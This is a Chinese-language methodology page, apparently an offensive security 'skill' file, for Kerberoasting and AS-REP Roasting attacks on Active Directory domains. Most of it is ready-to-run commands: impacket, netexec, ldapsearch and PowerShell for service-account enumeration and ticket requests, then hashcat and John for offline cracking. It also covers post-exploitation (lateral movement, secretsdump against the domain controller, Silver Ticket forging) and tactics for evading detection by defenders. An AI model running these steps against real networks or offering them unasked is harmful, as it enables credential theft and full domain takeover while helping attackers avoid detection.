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kerberoast-attack

DevOps & Security
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Kerberoasting 与 AS-REP Roasting 完整攻击方法论。当拥有任意域用户凭据(Kerberoasting)或发现无需预认证的账户(AS-REP Roasting)时使用。覆盖 SPN 发现、票据请求、离线破解、AES vs RC4 策略选择

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Source SKILL.md: https://github.com/wgpsec/AboutSecurity/blob/HEAD/skills/lateral/kerberoast-attack/SKILL.md

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Kerberoasting & AS-REP Roasting

核心价值:以任意域用户权限获取高权限服务账户密码 → 无需提权即可达到域管级别

⛔ 深入参考


Part A: Kerberoasting(需要任意域用户凭据)

Phase 1: SPN 枚举

# impacket — 最推荐
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request

# netexec
netexec ldap DC_IP -u user -p pass --kerberoasting output.txt

# 纯 LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
  -b "DC=domain,DC=com" "(&(objectClass=user)(servicePrincipalName=*))" \
  sAMAccountName servicePrincipalName memberOf

# PowerShell(已在域内机器)
setspn -T domain -Q */*
# 或
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Phase 2: 票据请求策略

加密类型选择:
├─ RC4 (etype 23) → hashcat mode 13100 → 破解速度快 ⭐
├─ AES256 (etype 18) → hashcat mode 19700 → 破解速度慢 10x
└─ AES128 (etype 17) → hashcat mode 19600 → 中等

策略:
├─ 默认 impacket 请求 RC4 → 最快破解
├─ 如果目标强制 AES → 只能接受慢速破解
├─ ⛔ 域控可能监控 RC4 TGS 请求 → OPSEC 风险!
└─ AES 请求更隐蔽(正常行为),但破解慢

OPSEC 考虑:

# 隐蔽方式:请求 AES 加密票据(看起来更正常)
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile hashes.txt

# 超隐蔽:只请求特定高价值 SPN(不枚举全部)
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP \
  -request -target-user svc_sql_admin

# ⛔ 避免:一次性请求所有 SPN 的票据 → 告警

Phase 3: 离线破解

# Hashcat — GPU 破解
hashcat -m 13100 hashes.txt wordlist.txt           # RC4
hashcat -m 19700 hashes.txt wordlist.txt           # AES256
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule  # 规则

# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=wordlist.txt

# 字典选择优先级
├─ 1. 目标相关字典(公司名+年份+特殊字符)
├─ 2. rockyou.txt + 规则
├─ 3. 泄露密码库
└─ 4. 组合攻击(公司名 + 常见模式)

Phase 4: 高价值目标识别

并非所有 SPN 账户都值得破解,优先级:

高价值(优先破解):
├─ 账户是 Domain Admins / Enterprise Admins 成员
├─ 账户名含 "admin" / "svc" / "sql" / "backup"
├─ 账户有 AdminCount=1 属性
├─ 账户在 BloodHound 攻击路径上
└─ 账户密码策略宽松(无强制复杂度)

判断方法:
ldapsearch ... "(&(servicePrincipalName=*)(adminCount=1))" sAMAccountName

Part B: AS-REP Roasting(无需凭据/需要用户列表)

Phase 1: 发现无需预认证的用户

# 无需凭据 — 枚举无需预认证的用户
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile users.txt \
  -format hashcat -outputfile asrep_hashes.txt

# 有凭据 — 查询所有无需预认证的用户
impacket-GetNPUsers DOMAIN/user:pass -dc-ip DC_IP -request

# LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
  -b "DC=domain,DC=com" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName

# netexec
netexec ldap DC_IP -u user -p pass --asreproast asrep.txt

Phase 2: 破解 AS-REP 哈希

# hashcat mode 18200
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r rules/best64.rule

# john
john --format=krb5asrep asrep_hashes.txt --wordlist=wordlist.txt

Part C: 后利用 — 破解成功后

拿到服务账户密码后:
├─ 使用凭据横向移动
│   netexec smb TARGETS -u svc_account -p 'cracked_pass'
├─ 如果是 DA/高权限
│   impacket-secretsdump DOMAIN/svc_admin:pass@DC_IP
├─ 申请 Silver Ticket(不经过 DC 验证)
│   impacket-ticketer -nthash HASH -domain-sid S-1-5-... -domain DOMAIN -spn ...
└─ 添加 SPN 到已控账户 → Targeted Kerberoasting
    setspn -a http/fake svc_account  # 让其他人可以对你 Kerberoast

检测与规避对照

蓝队检测红队对策
大量 TGS 请求 (EventID 4769)只请求高价值目标,不全量枚举
RC4 降级检测请求 AES256 票据(破解慢但隐蔽)
蜜罐 SPN 账户对比 BloodHound 数据,排除异常 SPN
异常时间请求业务时间操作
特定账户大量票据分散请求时间

工具速查

工具用途
impacket-GetUserSPNsKerberoasting 票据请求
impacket-GetNPUsersAS-REP Roasting
netexec集成枚举与攻击
RubeusWindows 端 Kerberoasting(含 OPSEC 选项)
hashcatGPU 离线破解
BloodHound识别高价值 SPN 账户